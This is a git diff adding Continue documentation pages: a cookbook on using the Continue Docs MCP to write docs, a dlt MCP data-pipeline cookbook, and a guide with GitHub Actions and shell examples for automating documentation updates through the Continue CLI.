b/docs/guides/continue-docs-mcp-cookbook.mdx new file mode 100644 index 000000000..e3218c605 --- /dev/null +++ b/docs/guides/continue-docs-mcp-cookbook.mdx @@ -0,0 +1,542 @@ +--- +title: "Contributing to Continue with Model Context Protocol (MCP)" +description: "Use the Continue Docs MCP to write cookbooks, guides, and documentation with AI-powered workflows." +sidebarTitle: "Continue Docs MCP Cookbook" +--- + + + Master using the Continue Docs MCP to contribute documentation, create cookbooks, and maintain consistency across Continue's docs - all through natural language prompts. + + +## Prerequisites + +Before starting, ensure you have: + +- Continue account with **Hub access** +- Read: [Contributing to Continue Documentation](/CONTRIBUTING) for setup instructions +- Forked the [continuedev/continue](https://github.com/continuedev/continue) repository +- Node.js 20+ and Continue CLI installed + + + This cookbook assumes you've read the setup in the [CONTRIBUTING guide](/CONTRIBUTING). If you haven't, start there first. + + +## Continue Docs MCP Setup + + + Use the pre-built [Docs Assistant - Mintlify agent](https://hub.continue.dev/continuedev/docs-mintlify) that includes the Continue Docs MCP and is ready to use immediately. + + + + + ```bash + # From your Continue docs directory + cn --config continuedev/docs-mintlify + ``` + + This agent includes: + - **Continue Docs MCP** for searching Continue documentation + - **Mintlify formatting rules** for proper component usage + - **Documentation-focused prompts** for common tasks + + + + If you want to customize, create your own agent and add: + 1. [Continue Docs MCP](https://hub.continue.dev/continuedev/continue-docs-mcp) + 2. [Mintlify Technical Writing Rule](https://hub.continue.dev/mintlify/technical-writing-rule) + + See the [CONTRIBUTING guide](/CONTRIBUTING#option-2-create-your-own-custom-agent) for details. + + + +--- + +## What is the Continue Docs MCP? + + + A Model Context Protocol server built with [Mintlify's MCP generation](https://www.mintlify.com/blog/generate-mcp-servers-for-your-docs) that enables semantic search across Continue documentation. [Learn more →](/reference/continue-mcp) + + +The MCP helps you: +- **Find examples** from existing documentation +- **Maintain consistency** with established patterns +- **Source accurate information** about Continue features +- **Write better documentation** faster + +--- + +## Documentation Workflows with Prompts + +### 🆕 Creating a New Cookbook + +Cookbooks show how to use Continue CLI with specific tools or services. Here's how to create one using the Continue Docs MCP: + + + + ```bash + cn --config continuedev/docs-mintlify + ``` + + **Prompt:** + ``` + "Show me the structure of existing MCP cookbooks in the Continue docs. + I want to create a cookbook for GitHub MCP." + ``` + + The agent will find examples like the dlt, Snyk, and Sanity cookbooks. + + + + **Prompt:** + ``` + "Using the Continue Docs MCP, find information about how GitHub MCP works. + Then search the web for the official GitHub MCP documentation and combine + both sources to create a cookbook following the same structure as the + dlt cookbook." + ``` + + The agent will: + - Search Continue docs for MCP patterns + - Fetch GitHub MCP official documentation + - Combine both sources + - Generate a cookbook with consistent formatting + + + + **Prompt:** + ``` + "Add my new github-mcp-continue-cookbook.mdx to the docs.json navigation + under the Cookbooks section." + ``` + + + + ```bash + npm run dev + # Visit http://localhost:3000 + ``` + + **Refine with prompts:** + ``` + "Add more examples to the troubleshooting section" + "Include a CI/CD workflow example using GitHub Actions" + "Add authentication setup using environment variables" + ``` + + + + + **Pro Tip:** The agent uses the Continue Docs MCP to maintain consistency with existing cookbooks automatically. + + +--- + +### ✏️ Updating Existing Documentation + + + + **Prompt:** + ``` + "Where is the MCP tools documentation located? Show me the file path." + ``` + + + + **Prompt:** + ``` + "Update the MCP tools documentation at docs/customization/mcp-tools.mdx + to include information about the new Slack MCP server. Use the Continue + Docs MCP to find examples of how other MCP servers are documented, then + add a similar section for Slack." + ``` + + + +--- + +### 📝 Adding New Guides + + + + **Prompt:** + ``` + "I want to create a guide for setting up Continue with Amazon Bedrock. + Search the Continue docs for similar model provider setup guides and + show me the common structure they follow." + ``` + + + + **Prompt:** + ``` + "Create a new guide at docs/guides/amazon-bedrock-setup.mdx following + the structure you found. Include: + - Prerequisites + - Step-by-step setup with code examples + - Configuration options + - Troubleshooting common issues + + Use the Continue Docs MCP to find accurate information about Continue's + model provider configuration." + ``` + + + + **Prompt:** + ``` + "Add this guide to docs.json under the Model Providers section" + ``` + + + +--- + +## Real-World Cookbook Examples + +### Example 1: PostgreSQL MCP Cookbook + +**Prompt:** +``` +"Create a cookbook for using Continue with PostgreSQL MCP. Follow the same +structure as the dlt cookbook, but customize it for database operations. + +Include these sections: +1. Quick start with pre-built agent +2. Manual setup with MCP configuration +3. Common database tasks (schema exploration, query writing, migrations) +4. Troubleshooting database connection issues + +Use the Continue Docs MCP to find MCP configuration patterns and search the +web for PostgreSQL MCP documentation." +``` + +### Example 2: Sentry Error Tracking Cookbook + +**Prompt:** +``` +"Create a cookbook showing how to use Continue to analyze Sentry errors. + +The cookbook should demonstrate: +1. Setting up Sentry MCP integration +2. Querying recent errors +3. Analyzing error patterns with AI +4. Generating fixes for common errors +5. CI/CD integration for automated error analysis + +Research the Snyk cookbook structure since it's also about error detection, +and adapt it for Sentry." +``` + +### Example 3: OpenAPI Documentation Cookbook + +**Prompt:** +``` +"I want to create a cookbook for using Continue to work with OpenAPI specs. + +Show how to: +1. Load OpenAPI specs into Continue's context +2. Generate API client code from specs +3. Create tests based on API endpoints +4. Update documentation when APIs change + +Use the Continue Docs MCP to find how context providers work, then combine +that with OpenAPI MCP information." +``` + +--- + +## Advanced Prompt Patterns + + + + ```bash + "Use the Continue Docs MCP to understand how agents + work in Continue, then search the web for Anthropic's + Computer Use MCP. Create a cookbook showing how to + combine Continue agents with Computer Use for + automated testing." + ``` + + + + ```bash + "Find all mentions of MCP servers across Continue + documentation. Then create a comprehensive reference + page that links to all MCP-related guides and + configurations." + ``` + + + + ```bash + "Review all cookbook files in docs/guides/ and check + if they follow the same structure. List any + inconsistencies and suggest updates to make them + uniform." + ``` + + + + ```bash + "Extract all code examples showing MCP server + configuration from the Continue docs. Format them + as a single reference page with explanations for + each pattern." + ``` + + + +--- + +## Testing Your Documentation + +### Local Preview + +```bash +cd docs +npm run dev +# Visit http://localhost:3000 +``` + +### Validation Prompts + +```bash +# Check formatting +"Review this documentation for Mintlify formatting issues and fix any problems" + +# Verify links +"Check all links in this file and ensure they point to existing documentation" + +# Test code examples +"Verify that all code examples in this cookbook are syntactically correct" +``` + +--- + +## Submitting Your Contribution + +**Prompt:** +```bash +"Create a pull request with my documentation changes and use the repo's +PR template to write the description" +``` + +The agent will: +- Create a feature branch +- Stage and commit your changes +- Push to your fork +- Generate a PR description following the template +- Open the PR for review + + + See the full [Contributing Guide](/CONTRIBUTING#submitting-your-contribution) for manual PR submission details. + + +--- + +## Automated Documentation Checks with GitHub Actions + +Add automated documentation checks to your PR workflow using the Continue Docs MCP agent: + +```yaml title=".github/workflows/docs-check.yml" +name: Documentation Check + +on: + pull_request: + types: [opened, synchronize] + paths: + - 'core/**' + - 'extensions/**' + - 'packages/**' + - 'gui/**' + +jobs: + check-docs: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + + - name: Install Continue CLI + run: npm i -g @continuedev/cli + + - name: Analyze Changes for Documentation Needs + id: analyze + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + run: | + echo "🔍 Analyzing code changes for documentation needs..." + + # Get changed files + git diff origin/${{ github.base_ref }}..HEAD --name-only > changed_files.txt + + # Create detailed diff + git diff origin/${{ github.base_ref }}..HEAD > changes.diff + + # Use Continue agent to check if docs need updates + PROMPT="Review these code changes and determine if documentation updates are needed. + + Changed files: $(cat changed_files.txt | tr '\n' ' ') + + Consider: + - New features or APIs + - Breaking changes + - New configuration options + - Modified CLI commands + - New MCP integrations + + If docs updates are needed, specify which files in docs/ should be updated. + If no updates needed, respond with 'NO_DOCS_NEEDED'. + Be specific and concise." + + cn --config continuedev/docs-mintlify -p "$PROMPT" --auto > analysis.md || { + echo "⚠️ Analysis failed" + echo "needs_docs=false" >> $GITHUB_OUTPUT + exit 0 + } + + if grep -q "NO_DOCS_NEEDED" analysis.md; then + echo "needs_docs=false" >> $GITHUB_OUTPUT + else + echo "needs_docs=true" >> $GITHUB_OUTPUT + fi + + - name: Post Documentation Recommendation + if: steps.analyze.outputs.needs_docs == 'true' + env: + GH_TOKEN: ${{ github.token }} + run: | + echo "📝 Creating PR comment with documentation recommendations..." + + cat > pr-comment.md <<'EOF' +## 📚 Documentation Update Recommended + +Based on the code changes in this PR, documentation updates may be needed: + +EOF + + cat analysis.md >> pr-comment.md + + cat >> pr-comment.md <<'EOF' + +--- + +### Next Steps + +1. Review the suggested documentation areas above +2. Update relevant files in the `/docs` folder +3. Consider updating: + - API references for interface changes + - Guides for workflow changes + - Configuration docs for new settings + - MCP cookbooks for new integrations + +### Resources +- [Contributing to Docs](/CONTRIBUTING) +- [Continue Docs MCP Cookbook](/guides/continue-docs-mcp-cookbook) + +*This analysis was generated using the Continue Docs MCP agent.* +EOF + + gh pr comment ${{ github.event.pull_request.number }} --body-file pr-comment.md + + - name: Add Label + if: steps.analyze.outputs.needs_docs == 'true' + env: + GH_TOKEN: ${{ github.token }} + run: | + gh pr edit ${{ github.event.pull_request.number }} --add-label "docs-needed" +``` + + + This workflow uses the Continue Docs MCP agent to analyze code changes and automatically comment on PRs when documentation updates are recommended. + + +--- + +## Documentation MCP for Other Projects + +Want to create documentation MCPs for your own projects? Mintlify makes it easy: + + + + ```bash + npm i -g mintlify + mintlify init + ``` + + + + Mintlify automatically generates an MCP server for your documentation, enabling semantic search. + + [Learn more about Mintlify MCP generation →](https://www.mintlify.com/blog/generate-mcp-servers-for-your-docs) + + + + Share your docs MCP on [Continue Hub](https://hub.continue.dev/new?type=mcp) so others can use it with Continue agents. + + + + + The [Continue Docs MCP](/reference/continue-mcp) itself was built this way! + + +--- + +## Key Prompts Cheat Sheet + +| Task | Prompt | +|:-----|:-------| +| **Find structure** | "Show me the structure of existing cookbooks in Continue docs" | +| **Create cookbook** | "Create a cookbook for [tool] MCP following the dlt cookbook structure" | +| **Update docs** | "Update [file] to include information about [feature], using Continue Docs MCP to find examples" | +| **Add navigation** | "Add [file] to docs.json under the [section] section" | +| **Check consistency** | "Review this file for consistency with other Continue documentation" | +| **Fix formatting** | "Review for Mintlify formatting issues and fix any problems" | +| **Extract examples** | "Find all examples of [topic] in Continue docs" | +| **Research feature** | "Use Continue Docs MCP to explain how [feature] works in Continue" | + +--- + +## Resources + +### Continue Documentation +- [Contributing Guide](/CONTRIBUTING) - Setup and submission process +- [Continue Docs MCP Reference](/reference/continue-mcp) - MCP server details + - [Understanding Configs](/guides/understanding-configs) - How configs work + +### Mintlify +- [MCP Generation Guide](https://www.mintlify.com/blog/generate-mcp-servers-for-your-docs) +- [Mintlify Documentation](https://mintlify.com/docs) + +### Community +- [Continue Discord](https://discord.gg/continue) - #documentation channel +- [GitHub Discussions](https://github.com/continuedev/continue/discussions) + +--- + +## Next Steps + + + + Set up your environment + + + + Install pre-built agent + + + + See cookbook examples + + + + Get help from community + + diff --git a/docs/guides/continuous-ai.mdx b/docs/guides/continuous-ai.mdx index bd88c2228..f37da48cb 100644 --- a/docs/guides/continuous-ai.mdx +++ b/docs/guides/continuous-ai.mdx @@ -39,7 +39,7 @@ You prompt the AI when you remember, and it completes the task. This is great fo **Example**: Using AI to draft a function or suggest a test case only when you think to ask for it. -**Continue Implementation**: Using [Chat](/features/chat/quick-start) or [Edit](/features/edit/quick-start) mode for one-off coding tasks. +**Continue Implementation**: Using [Chat](/ide-extensions/chat/quick-start) or [Edit](/ide-extensions/edit/quick-start) mode for one-off coding tasks. @@ -66,7 +66,7 @@ AI autonomously completes processes end-to-end without human input, but only for - Automatic documentation updates when code changes - Self-healing test suites that fix themselves based on failure patterns -**Continue Implementation**: Fully automated [agents](/features/agent/quick-start) with strict permissions and safety guardrails. +**Continue Implementation**: Fully automated [agents](/ide-extensions/agent/quick-start) with strict permissions and safety guardrails. @@ -202,6 +202,6 @@ As AI capabilities continue to improve and tooling matures, we're moving toward Ready to amplify your development workflow with Continuous AI? Start with one simple automation and build from there. - Check out our guides on [Continue CLI](/guides/cli) and [Understanding - Agents](/guides/understanding-agents). + Check out our guides on [Continue CLI](/guides/cli) and [Understanding + Configs](/guides/understanding-configs). diff --git a/docs/guides/dlt-mcp-continue-cookbook.mdx b/docs/guides/dlt-mcp-continue-cookbook.mdx new file mode 100644 index 000000000..9c0446881 --- /dev/null +++ b/docs/guides/dlt-mcp-continue-cookbook.mdx @@ -0,0 +1,456 @@ +--- +title: "Building Data Pipelines with dlt MCP and Continue" +description: "Set up an AI-powered data engineering workflow that helps you develop, debug, and inspect dlt data pipelines using natural language commands." +sidebarTitle: "dlt Data Pipelines with Continue" +--- + + + An AI-powered data pipeline development system that uses Continue's AI agent with dlt + MCP to inspect pipeline execution, retrieve schemas, analyze datasets, and debug load errors - all through simple natural language prompts + + +## Prerequisites + +Before starting, ensure you have: + +- Continue account with **Hub access** + - Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs) +- Python 3.8+ installed locally +- A dlt pipeline project (or create one during this guide) +- Basic understanding of data pipelines + +For all options, first: + + + ```bash + npm i -g @continuedev/cli + ``` + + + + ```bash + pip install dlt + ``` + + + + To use agents in headless mode, you need a [Continue API key](https://hub.continue.dev/settings/api-keys). + + +## dlt MCP Workflow Options + + + Skip the manual setup and use our pre-built [dlt Agent](https://hub.continue.dev/continuedev/dlt-agent) that includes + the dlt MCP and optimized data pipeline workflows for more consistent results. You can [remix this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to customize it for your specific needs. + + + +After ensuring you meet the **Prerequisites** above, you have two paths to get started: + + + + + + Navigate to your pipeline project directory and run: + ```bash + cn --agent continuedev/dlt-agent + ``` + + This agent includes: + - **dlt MCP** pre-configured and ready to use + - **Pipeline-focused rules** for data engineering best practices + + + + Start with a comprehensive pipeline check: + ```bash + # TUI mode + Inspect the execution of my dlt pipeline and summarize the load info, including timing and file sizes. + ``` + + That's it! The agent handles everything automatically. + + + + + **Why Use the Agent?** The pre-built [dlt Agent](https://hub.continue.dev/continuedev/dlt-agent) provides consistent pipeline development workflows and handles MCP configuration automatically, making it easier to get started with AI-powered data engineering. You can [remix and customize this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) later to fit your team's specific workflow. + + + + + + + + Go to the [Continue Hub](https://hub.continue.dev) and [create a new agent](https://hub.continue.dev/new?type=agent). + + + + Visit the [dlt MCP on Continue Hub](https://hub.continue.dev/dlthub/dlt-mcp) and click **Install** to add it to the agent you created in the step above. + + This will add dlt MCP to your agent's available tools. The Hub listing automatically configures the MCP command. + + + **Alternative installation methods:** + 1. **Quick CLI install**: `cn --mcp dlthub/dlt-mcp` + 2. **Manual configuration**: Add the MCP to your `~/.continue/config.json` under the `mcpServers` section + + Once installed, dlt MCP tools become available to your Continue agent for all prompts. + + + + The MCP will work with your existing dlt pipelines in your current directory. + + + + + + Start with a comprehensive pipeline check: + ```bash + # TUI mode + cn + # Then type: Inspect the execution of my dlt pipeline and summarize the load info, including timing and file sizes. + ``` + + + + + + + + To use the pre-built [dlt Agent](https://hub.continue.dev/continuedev/dlt-agent), you need either: + - **Continue CLI Pro Plan** with the models add-on, OR + - **Your own API keys** added to Continue Hub secrets (same as manual setup) + + The agent will automatically detect and use your configuration along with the pre-configured dlt MCP for pipeline operations. + + + +--- + +## dlt MCP vs dlt+ MCP + + + **dlt MCP** is focused on local pipeline development and inspection. It provides tools to: + - Inspect pipeline execution and load information + - Retrieve schema metadata from your local pipelines + - Query dataset records from destination databases + - Analyze load errors, timings, and file sizes + + **[dlt+ MCP](https://hub.continue.dev/dlthub/dlt-plus-mcp)** extends these capabilities with cloud-based features for production deployments: + - Connect to dlt+ Projects and manage deployments + - Monitor pipeline runs across multiple environments + - Access centralized logging and observability + - Collaborate with team members on pipeline development + + For local development and getting started, **[dlt MCP](https://hub.continue.dev/dlthub/dlt-mcp)** is the right choice. Consider **[dlt+ MCP](https://hub.continue.dev/dlthub/dlt-plus-mcp)** when you need production deployment features and team collaboration. + + +--- + +## Pipeline Development Recipes + +Now you can use natural language prompts to develop and debug your dlt pipelines. The Continue agent automatically calls the appropriate dlt MCP tools. + + +You can add prompts to your agent's configuration for easy access in future sessions. Go to your agent in the [Continue Hub](https://hub.continue.dev), click **Edit**, and add prompts under the **Prompts** section. + + + + **Where to run these workflows:** + - **IDE Extensions**: Use Continue in VS Code, JetBrains, or other supported IDEs + - **Terminal (TUI mode)**: Run `cn` to enter interactive mode, then type your prompts + - **CLI (headless mode)**: Use `cn -p "your prompt"` for headless commands + + **Test in Plan Mode First**: Before running pipeline operations that might make + changes, test your prompts in plan mode (see the [Plan Mode + Guide](/guides/plan-mode-guide); press **Shift+Tab** to switch modes in TUI/IDE). This + shows you what the agent will do without executing it. + + To run any of the example prompts below in headless mode, use `cn -p "prompt"` + + + + + **About the --auto flag**: The `--auto` flag enables tools to run continuously without manual confirmation. This is essential for headless mode where the agent needs to execute multiple tools automatically to complete tasks like pipeline inspection, schema retrieval, and error analysis. + + + +### Pipeline Inspection + + + Review pipeline execution details including load timing and file sizes. + +**Prompt:** +``` +Inspect my dlt pipeline execution and provide a summary of the load info. +Show me the timing breakdown and file sizes for each table. +``` + + + +### Schema Management + + + Get detailed schema information for your pipeline's tables. + +**Prompt:** +``` +Show me the schema for my users table including all columns, +data types, and any constraints. +``` + + + +### Data Exploration + + + Retrieve and analyze records from your destination database. + +**Prompt:** +``` +Get the last 10 records from my orders table and show me +the distribution of order statuses. +``` + + + +### Error Debugging + + + Investigate and understand pipeline load errors. + +**Prompt:** +``` +Check for any load errors in my last pipeline run. If there are errors, +explain what went wrong and suggest fixes. +``` + + + +### Pipeline Creation + + + Create a new dlt pipeline from an API or data source. + +**Prompt:** +``` +Help me create a new dlt pipeline that loads data from the +JSONPlaceholder API users endpoint into DuckDB. +``` + + + +### Schema Evolution + + + Review and manage schema evolution in your pipelines. + +**Prompt:** +``` +Check if my pipeline schema has evolved since the last run. +Show me what columns were added or modified. +``` + + + +## Continuous Data Pipelines with GitHub Actions + + This example demonstrates a **Continuous AI workflow** where data pipeline validation runs automatically in your CI/CD pipeline in headless mode using the [dlt Assistant agent](https://hub.continue.dev/dlthub/dlt-assistant). Consider [remixing this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to add your organization's specific validation rules. + +### Add GitHub Secrets + +Navigate to **Repository Settings → Secrets and variables → Actions** and add: + +- `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) +- Any required database credentials for your destination + + + The workflow uses the pre-built [dlt Agent](https://hub.continue.dev/continuedev/dlt-agent) with `--agent continuedev/dlt-agent`. This agent comes pre-configured with the dlt MCP and optimized rules for pipeline operations. You can [remix this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to customize the validation rules and prompts for your specific pipeline requirements. + + +### Create Workflow File + +This workflow automatically validates your dlt data pipelines on pull requests using the Continue CLI in [headless mode](/cli/overview#headless-mode%3A-production-automation). It inspects pipeline schemas, checks for errors, and posts a summary report as a PR comment. The workflow can also be triggered manually via `workflow_dispatch`. + +Create `.github/workflows/dlt-pipeline-validation.yml` in your repository: + +```yaml +name: Data Pipeline Validation with dlt MCP + +on: + pull_request: + branches: [main] + workflow_dispatch: + +jobs: + validate-pipeline: + runs-on: ubuntu-latest + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + + steps: + - uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.11" + + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: "18" + + - name: Install dlt + run: | + pip install dlt + echo "✅ dlt installed" + + - name: Install Continue CLI + run: | + npm install -g @continuedev/cli + echo "✅ Continue CLI installed" + + - name: Validate Pipeline Schema + run: | + echo "🔍 Validating pipeline schema..." + cn --agent continuedev/dlt-agent \ + -p "Inspect the pipeline schema and verify all required tables + and columns are present. Flag any missing or unexpected changes." \ + --auto + + - name: Check Pipeline Health + run: | + echo "📊 Checking pipeline health..." + cn --agent continuedev/dlt-agent \ + -p "Analyze the last pipeline run for errors or warnings. + Report any issues that need attention." \ + --auto + + - name: Comment Pipeline Report on PR + if: always() && github.event_name == 'pull_request' + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + REPORT=$(cn --agent continuedev/dlt-agent \ + -p "Generate a concise summary (200 words or less) of: + - Pipeline schemas and row counts + - Any load errors or warnings + - Performance metrics (timing, file sizes) + - Recommended improvements" \ + --auto) + + gh pr comment ${{ github.event.pull_request.number }} --body "$REPORT" +``` + + + The dlt MCP works with your local pipeline state. Make sure your CI environment + has access to the necessary pipeline configuration and credentials. + + +## Pipeline Development Best Practices + +Implement automated pipeline quality checks using Continue's rule system. See the [Rules deep dive](/customize/deep-dives/rules) for authoring tips. + + + ```bash + "Before committing pipeline changes, verify the schema + matches expectations and flag any unexpected modifications." + ``` + + + + ```bash + "When load errors occur, analyze the error details and + suggest specific code fixes to handle the data issues." + ``` + + + + ```bash + "Track pipeline execution times and file sizes. Alert if + performance degrades significantly from baseline." + ``` + + + + ```bash + "After each pipeline run, validate row counts and check for + null values in critical columns." + ``` + + +## Troubleshooting + +### Pipeline Not Found + +```bash +"Check if there's a dlt pipeline in the current directory. +If not, help me initialize a new pipeline." +``` + +### Destination Connection Issues + +```bash +"Verify the destination connection and credentials for my pipeline. +Test the connection and report any issues." +``` + +### Schema Inference Problems + + + **Verification Steps:** + - dlt MCP is installed via [Continue Hub](https://hub.continue.dev/dlthub/dlt-mcp) + - Pipeline directory is accessible + - Destination database credentials are configured + - Pipeline has been run at least once + + +## What You've Built + +After completing this guide, you have a complete **AI-powered data pipeline development system** that: + +✅ Uses natural language — Simple prompts instead of complex pipeline commands +✅ Debugs automatically — AI analyzes errors and suggests fixes +✅ Runs continuously — Automated validation in CI/CD pipelines +✅ Ensures quality — Pipeline checks prevent bad data from shipping + + + Your data pipeline workflow now operates at **[Level 2 Continuous + AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - + AI handles routine pipeline inspection and debugging with human oversight + through review and approval of changes. + + +## Next Steps + +1. **Inspect your first pipeline** - Try the pipeline inspection prompt on your current project +2. **Debug load errors** - Use the error analysis prompt to fix any issues +3. **Set up CI pipeline** - Add the GitHub Actions workflow to your repo +4. **Create new pipelines** - Use AI to scaffold new data sources +5. **Monitor performance** - Track pipeline execution metrics over time + +## Additional Resources + + + + Complete dlt platform documentation + + + Explore more MCP integrations and agents + + + Learn about AI assistants, MCP, and Continue integration + + + Deep dive into dlt MCP integration + + \ No newline at end of file diff --git a/docs/guides/doc-writing-agent-cli.mdx b/docs/guides/doc-writing-agent-cli.mdx new file mode 100644 index 000000000..46dc81ef1 --- /dev/null +++ b/docs/guides/doc-writing-agent-cli.mdx @@ -0,0 +1,361 @@ +--- +title: "Automating Documentation Updates with Continue CLI" +sidebarTitle: "Automating Documentation Updates with Continue CLI" +description: "Learn how to create automated documentation generation workflows using Continue CLI. Set up AI agents to analyze code changes and generate or update documentation automatically in GitHub workflows or local development." +--- + + + +# Getting Started + +This guide demonstrates how to create automated documentation generation based on code updates in a git branch using the Continue CLI, either as part of your local workflow or as part of a GitHub workflow. + +This process utilizes the **Continue CLI** (`cn`) in **headless mode** to analyze changes and generate the necessary documentation, and commit and push the changes. The goal is to keep the workflow as simple as possible by using straightforward shell commands, Continue CLI prompts, and basic git operations. + +## Why Use Continue CLI for Documentation? + + + + AI agents understand your codebase and documentation patterns, analyzing git diffs to identify what needs documenting. + + + + Integrate seamlessly into CI/CD pipelines or local development workflows with minimal setup. + + + + Agents can read files, explore projects, and access Git history to generate accurate, relevant documentation. + + + + Restrict agent actions to specific files and operations, ensuring safe automated documentation updates. + + + +## Prerequisites + + + + Continue CLI requires Node.js 18 or higher. Install globally with: + ```bash + npm i -g @continuedev/cli + ``` + + + + Get your API key from [Continue Hub](https://hub.continue.dev/settings/api-keys) and set: + ```bash + export CONTINUE_API_KEY=your_key_here + ``` + + You can use the Continue CLI in headless mode without interactive login by setting the `CONTINUE_API_KEY` environment variable. + + + + + A project with code and documentation, or use an open-source project to experiment with the workflow. + + + +# Documentation Generation Workflow + +## Workflow Overview + +The documentation generation process follows these sequential steps: + + + + Validate environment, install Continue CLI, and set up authentication with API keys. + + + + Generate git diff context and analyze code changes between branches to identify new functionality. + + + + Create a dedicated documentation branch following the pattern `{original-branch}-docs-update-{timestamp}`. + + + + Use Continue CLI with custom rules to analyze changes and generate or update documentation files. + + Use an agent configuration with rules specific for documentation writing in your project and fine-tune it to work for your team's standards. + + + + + Review generated documentation, commit changes to the docs directory, and push to origin. + + + + Remove temporary files and output completion summary with branch information. + + + + + +## Implementation + + + + +### GitHub Actions Implementation + + +This example uses a manual workflow dispatch that requires two inputs: the repository name and the branch containing your code changes. This is helpful when you want to generate documentation for a feature branch before creating a pull request. + + +**Required Inputs:** +- **repository:** The repository you are operating on (format: `owner/repo`) +- **branch_name:** The name of the branch you have code changes on and want to generate documentation for +- **continue_config:** The Continue agent configuration to use + - Consider setting a default value if you have a default config your'd like to use +- **continue_org:** The Continue org to use + - Consider setting a default value if you have a default org your'd like to use + + +```yaml title=".github/workflows/generate-docs.yml" +name: Generate Docs for Branch + +on: + workflow_dispatch: + inputs: + repository: + description: 'Repository (owner/repo)' + required: true + default: 'owner/repo' + branch_name: + description: 'Branch name to generate docs for' + required: true + continue_config: + description: 'Continue agent configuration to use' + required: true + # Set a default value if you have a default config your'd like to use + # default: 'agent-config-name' + continue_org: + description: 'Continue org to use' + required: true + # Set a default value if you have a default org your'd like to use + # default: 'your-org-name' + +jobs: + write-docs: + runs-on: ubuntu-latest + name: Write Documentation for Branch + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + CONTINUE_ORG: ${{ github.event.inputs.continue_org }} + CONTINUE_CONFIG: ${{ github.event.inputs.continue_config }} + + steps: + + - name: Checkout fork repository + uses: actions/checkout@v4 + with: + repository: ${{ github.event.inputs.repository || 'owner/repo' }} + token: ${{ secrets.GH_PAT }} + fetch-depth: 0 # Full history needed for sync + + - name: Setup git configuration + run: | + git config user.name "github-actions[doc-writer-bot]" + git config user.email "yourname@email.com" + + - name: Checkout target branch + run: | + git fetch origin ${{ github.event.inputs.branch_name }} + git checkout ${{ github.event.inputs.branch_name }} + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '18' + + - name: Install Continue CLI + run: | + echo "Installing Continue CLI..." + npm i -g @continuedev/cli + + - name: Verify Continue CLI installation + run: | + echo "Checking Continue CLI version..." + cn --version || exit 1 + + - name: Set branch name + id: branch + run: | + BRANCH_NAME="${{ github.event.inputs.branch_name }}-docs-update-$(date +%Y-%m-%d-%H-%M-%S)" + echo "branch_name=$BRANCH_NAME" >> $GITHUB_OUTPUT + echo "Branch name: $BRANCH_NAME" + + - name: Generate git diff context + run: | + echo "Git changes:" > context.txt + git diff origin/main..HEAD --stat >> context.txt + echo -e "\n\nFile list:" >> context.txt + git diff origin/main..HEAD >> context.txt + echo "Generated context file:" + cat context.txt + + - name: Create documentation branch + run: | + echo "Creating branch: ${{ steps.branch.outputs.branch_name }}" + git checkout -b "${{ steps.branch.outputs.branch_name }}" + + - name: Generate documentation with Continue CLI + run: | + echo "Running Continue agent to generate documentation..." + cn --config / \ + --auto \ + --allow Write \ + -p \ + --prompt ./context.txt \ + "Analyze the provided git diff and identify any new functionality introduced. Summarise the new features in a few sentences. Then search the existing documentation in the site docs/ directory to determine whether these features are already documented in a way that enables users to use them. If documentation is missing or incomplete, create or modify Markdown files under the site diretory (without changing any code) to add clear explanations, usage instructions and examples for the new features in the same style and format as the existing documentation. Finally, print a brief summary of the documentation changes you made." + + - name: Clean up temporary files + run: rm -f context.txt + + - name: Commit and push documentation changes + run: | + echo "Review git status..." + git status + + echo "Adding files edited in site directory to git..." + git add site/ + + echo "Committing changes..." + git commit -s -m "docs: update for new functionality from branch ${{ github.event.inputs.branch_name }}" + + echo "Pushing changes to origin..." + git push --set-upstream origin "${{ steps.branch.outputs.branch_name }}" + +``` + + + + +### Local Development Implementation + + +Make sure to set your `CONTINUE_API_KEY` environment variable before running local scripts to enable headless mode. + + +When using the Continue CLI on your local machine, you can build workflows in various ways, one of which is by simply creating shell scripts that you can run, which call the CLI. + +The below shell script snippet shows the final part of a docs updating shell script that can be used to generate documentation for the code changes in a branch of a git repository. + +For the example snippet below to work you will need to set the following variables: +- `CONTINUE_ORG` +- `CONTINUE_CONFIG` +- `BASE_BRANCH` +- `COMPARE_BRANCH` +- `DOCS_BRANCH_NAME` + +For example you can either set these as environment variables or as command line arguments to be used by the script. + +**Example shell script snippet for generating documentation** +```bash title="generate-docs.sh" +#!/bin/bash +# The script below shows the final part of a docs updating shell script that can be used to generate documentation for the code changes in a branch of a git repository. + +# Generate git diff context +echo "Generating git diff context..." +echo "Git changes:" > context.txt +git diff "$BASE_BRANCH..$COMPARE_BRANCH" --stat >> context.txt +echo -e "\n\nFile list:" >> context.txt +git diff "$BASE_BRANCH..$COMPARE_BRANCH" >> context.txt +echo "Generated context file:" +cat context.txt + +# Create documentation branch +echo "Creating branch: $DOCS_BRANCH_NAME" +git checkout -b "$DOCS_BRANCH_NAME" + +# Generate documentation with Continue CLI +echo "Running Continue agent to generate documentation..." +cn -config "$CONTINUE_ORG/$CONTINUE_CONFIG" \ + --auto \ + --allow Write \ + -p \ + --prompt ./context.txt \ + "Analyze the provided git diff and identify any new functionality introduced. Summarise the new features in a few sentences. Then search the existing documentation in the site docs/ directory to determine whether these features are already documented in a way that enables users to use them. If documentation is missing or incomplete, create or modify Markdown files under the site diretory (without changing any code) to add clear explanations, usage instructions and examples for the new features in the same style and format as the existing documentation. Finally, print a brief summary of the documentation changes you made." + +# Clean up temporary files +echo 